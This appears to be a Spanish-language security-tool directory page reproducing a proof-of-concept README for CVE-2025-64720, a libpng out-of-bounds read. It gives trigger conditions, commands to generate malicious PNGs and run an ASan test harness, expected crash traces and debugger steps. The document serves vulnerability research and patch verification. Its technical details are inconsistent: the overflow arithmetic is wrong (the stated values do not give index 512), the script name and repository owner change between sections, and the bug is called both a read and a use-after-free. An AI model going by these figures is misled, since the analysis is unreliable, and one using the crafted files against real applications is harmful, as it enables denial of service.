Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-64720-PoC — Prueba de concepto de exploit para CVE-2025-64720, un desbordamiento de búfer en libpng en la premultiplicación de paleta. Incluye generador de exploits, banco de pruebas con ASan/UBSan y un análisis técnico detallado de la vulnerabilidad heap-use-after-free. | Kitploit
Herramientas/GitHubGitHub/dantsco/cve-2025-64720-poc
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónFuzzingAnálisis de BinariosPapers e InvestigaciónAprendizaje y Educación
GitHubdantsco/cve-2025-64720-poc

CVE-2025-64720-PoC

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Prueba de concepto de exploit para CVE-2025-64720, un desbordamiento de búfer en libpng en la premultiplicación de paleta. Incluye generador de exploits, banco de pruebas con ASan/UBSan y un análisis técnico detallado de la vulnerabilidad heap-use-after-free.

Ver Repositorio
23hace 8 mesesAún no revisado

CVE-2025-64720: Desbordamiento de Búfer en libpng en la Premultiplicación de Paleta

Estado: Corregido
Gravedad: Alta
ID CVE: CVE-2025-64720
Fecha de Descubrimiento: 2025-11-XX
Divulgación Pública: 2025-11-21

Resumen

Resumen

Existe una vulnerabilidad de lectura fuera de los límites en la función png_image_read_composite de libpng al procesar imágenes de paleta con PNG_FLAG_OPTIMIZE_ALPHA habilitado. El código de composición de paleta en png_init_read_transformations aplica incorrectamente la composición de fondo durante la premultiplicación, violando el invariante component ≤ alpha × 257 requerido por la API PNG simplificada, lo que provoca corrupción de memoria.


Detalles de la Vulnerabilidad

Causa Raíz

En png_init_read_transformations en la línea ~1336, el código de expansión de paleta realiza:

root@kitploit:~
component += (255-alpha)*png_sRGB_table[outrow[c]];

Este cálculo produce valores de component de hasta 16,776,960 (0x1000800), donde (component >> 15) == 512. La macro PNG_sRGB_FROM_LINEAR posterior en png_image_read_composite realiza un acceso a un array fuera de los límites:

root@kitploit:~
png_sRGB_base[component>>15]    // Accede a png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accede a png_sRGB_delta[512]
// Ambos arrays tienen solo índices 0-511 (tamaño 512)

El problema ocurre cuando:

  1. PNG usa modo paleta (tipo de color 3) con transparencia (chunk tRNS)
  2. La aplicación usa la API simplificada con formato compatible con alfa
  3. PNG_FLAG_OPTIMIZE_ALPHA está habilitado internamente
  4. La expansión de paleta realiza premultiplicación con composición de fondo

Componente Vulnerable

  • Archivo: pngread.c, pngtrans.c
  • Funciones: png_image_read_composite, png_init_read_transformations
  • Ruta de Código: API simplificada → Expansión de paleta con optimización alfa

Violación del Invariante

root@kitploit:~
Expected: component ≤ alpha × 257
         Ensures (component >> 15) ≤ 511 (within array bounds)

Actual:   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         With alpha=0, RGB=255: component can exceed expected bounds
         
Result:   (component >> 15) can equal 512 (out of bounds access)

Versiones Afectadas

Versiones Vulnerables

  • Software: libpng
  • Versiones: Todas las versiones < 1.6.51
  • Plataformas: Linux, Windows, macOS, BSD, etc.
  • Arquitecturas: x86, x64, ARM, ARM64, etc.

Versiones Corregidas

  • Primera Versión Corregida: 1.6.51
  • Fecha de Publicación: 2025-11-21
  • Commit del Parche: 08da33b

Detección de Versión

root@kitploit:~
# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

Análisis Técnico

Vector de Ataque

Un atacante puede explotar esta vulnerabilidad creando un archivo PNG malicioso con características específicas:

  1. Prerrequisitos del Ataque:

    • La aplicación objetivo usa libpng < 1.6.51
    • La aplicación usa la API PNG simplificada (funciones png_image_*)
    • La aplicación solicita un formato de salida compatible con alfa (p. ej., RGBA, ARGB)
  2. Pasos del Ataque:

    • Crear un PNG de paleta (tipo de color 3) con chunk tRNS
    • Establecer entradas de paleta con valores RGB máximos (255, 255, 255)
    • Establecer valores alfa a cero para múltiples entradas de paleta
    • La aplicación de la víctima procesa el PNG con formato alfa
    • PNG_FLAG_OPTIMIZE_ALPHA se habilita internamente
    • La expansión de paleta viola el invariante de componente
    • Se produce el acceso fuera de los límites del array
  3. Resultado del Ataque:

    • Lectura fuera de los límites desde png_sRGB_base o png_sRGB_delta
    • La corrupción de memoria conduce a use-after-free en el heap
    • Caída de la aplicación (denegación de servicio)
    • Posible divulgación de información mediante lectura OOB

Diseño de Memoria

root@kitploit:~
┌─────────────────┐
│ png_sRGB_base   │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │  Potential information disclosure
└─────────────────┘

Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)

Condiciones de Activación

Condiciones Requeridas:

  • PNG tipo de color 3 (indexado/paleta)
  • Chunk tRNS presente (transparencia)
  • Valores alfa de 0 en el chunk tRNS
  • Valores RGB altos en la paleta (especialmente 255, 255, 255)
  • Uso de la API simplificada (png_image_finish_read)
  • Formato compatible con alfa (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA con banderas)

Factores Opcionales:

  • El formato con PNG_FORMAT_FLAG_AFIRST aumenta la probabilidad de caída
  • Imágenes más grandes proporcionan más oportunidades para activar el error
  • Múltiples entradas de paleta con alfa cero aumentan la fiabilidad

Condiciones que No Activan:

  • libpng >= 1.6.51 (corregido)
  • PNG_FORMAT_RGBA sin banderas adicionales (a veces seguro)
  • Tipos de color que no son de paleta (RGB, escala de grises, etc.)
  • Paleta sin transparencia
  • Todos los valores alfa = 255 (completamente opaco)

Prueba de Concepto

Inicio Rápido

root@kitploit:~
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

Componentes del PoC

1. Generador de Exploit (generate-images.py)

Genera archivos PNG maliciosos que activan la vulnerabilidad.

Uso:

root@kitploit:~
python3 generate_poc.py

Salida:

  • exploit_v1.png - Imagen de 8x8, paleta blanca uniforme, alfa cero
  • exploit_v2.png - Imagen de 8x8, variación estratégica de paleta
  • exploit_v3.png - Imagen de 64x64, grande con patrones repetidos
  • exploit_v4.png - Imagen de 4x4, caso mínimo con alfa todo cero

Opciones:

root@kitploit:~
# Generate specific variant
generate_malicious_png('custom.png', variant=2)

# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow

2. Prueba (test.c)

Procesa archivos PNG usando la API simplificada y demuestra la vulnerabilidad.

Compilación:

root@kitploit:~
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

Características:

  • Prueba múltiples formatos compatibles con alfa (RGBA, ARGB, LINEAR_RGB_ALPHA)
  • Muestra la versión de libpng y el estado de la vulnerabilidad
  • Muestra los primeros valores de píxel para verificación
  • Manejo completo de errores

Salida Esperada

En Versión Vulnerable (libpng 1.6.36):

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

En Versión Corregida (libpng >= 1.6.51):

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

Impactos

Impactos Confirmados

  • Denegación de Servicio: Caída fiable de la aplicación al procesar archivos PNG maliciosos
  • Corrupción de Memoria: Use-after-free en el heap debido a lectura OOB que corrompe el estado interno
  • Divulgación de Información: Posible fuga de contenido de memoria adyacente mediante lectura OOB

Impactos Potenciales

  • Ejecución Remota de Código: Teóricamente posible si la corrupción de memoria se puede controlar, aunque no demostrado
  • Explotación en Navegadores: Los navegadores web que usan libpng vulnerable podrían fallar al visitar sitios maliciosos

Reproducción Paso a Paso

Paso 1: Generar Exploit

root@kitploit:~
python3 generate_poc.py

Salida esperada:

root@kitploit:~
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

Paso 2: Compilar Prueba

root@kitploit:~
chmod +x build.sh
./build.sh

Salida esperada:

root@kitploit:~
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

Paso 3: Ejecutar Exploit

root@kitploit:~
./test_asan exploit_v1.png

Resultado Esperado (Vulnerable - libpng 1.6.36):

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

Resultado Esperado (Corregido - libpng >= 1.6.51):

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

Métodos de Prueba Alternativos

Con Valgrind

root@kitploit:~
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

Salida esperada (vulnerable):

root@kitploit:~
==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

Con GDB

root@kitploit:~
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

Con LLDB (macOS M1-M4)

root@kitploit:~
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp

Referencias

Fuentes Oficiales

  • Aviso del Proveedor: http://www.libpng.org/pub/png/libpng.html
  • Entrada CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
  • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
  • Sitio Web de libpng: http://www.libpng.org/pub/png/libpng.html

Detalles Técnicos

  • Reporte de Error: https://github.com/pnggroup/libpng/issues/686
  • Commit del Parche: https://github.com/pnggroup/libpng/commit/08da33b
  • Solicitud de Extracción: https://github.com/pnggroup/libpng/pull/751
  • Notas de la Versión: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

Vulnerabilidades Relacionadas

  • CVE-2025-64505: Desbordamiento de búfer en heap en png_do_quantize() mediante índice de paleta malformado
  • CVE-2025-64506: Lectura fuera de límites en heap en png_write_image_8bit()
  • CVE-2025-65018: Desbordamiento de búfer en heap en png_combine_row()
  • CVE-2019-7317: Use-after-free en png_image_free() (libpng < 1.6.37)

Créditos

Descubrimiento

  • Samsung-PENTEST - Investigador de seguridad
  • weijinjinnihao - Investigador de seguridad
  • yosiimich - Investigador de seguridad

Análisis y Corrección

  • Fabio Gritti (Artiphishell) - Triage y análisis
  • John Bowler - Desarrollador de libpng, colaborador de la corrección
  • Cosmin Truta - Mantenedor de libpng, implementación del parche

Pruebas

  • truediogo - Desarrollo y validación del PoC

Consideraciones Legales y Éticas

Descargo de Responsabilidad

⚠️ IMPORTANTE: Este PoC se proporciona únicamente con fines educativos y de investigación.

  • Este código está destinado a:

    • Investigación de seguridad
    • Evaluación de vulnerabilidades en sistemas de tu propiedad
    • Estudio académico
    • Desarrollo de medidas defensivas
    • Verificación de parches
  • Este código NO está destinado a:

    • Acceso no autorizado a sistemas
    • Ataques maliciosos
    • Causar daño o perjuicio
    • Actividades ilegales
    • Explotación sin permiso

Al usar este código, aceptas:

  1. Usarlo únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas
  2. Cumplir con todas las leyes y regulaciones aplicables
  3. Asumir toda la responsabilidad por tus acciones
  4. No responsabilizar a los autores por cualquier mal uso
  5. Seguir las prácticas de divulgación responsable
Descargar herramienta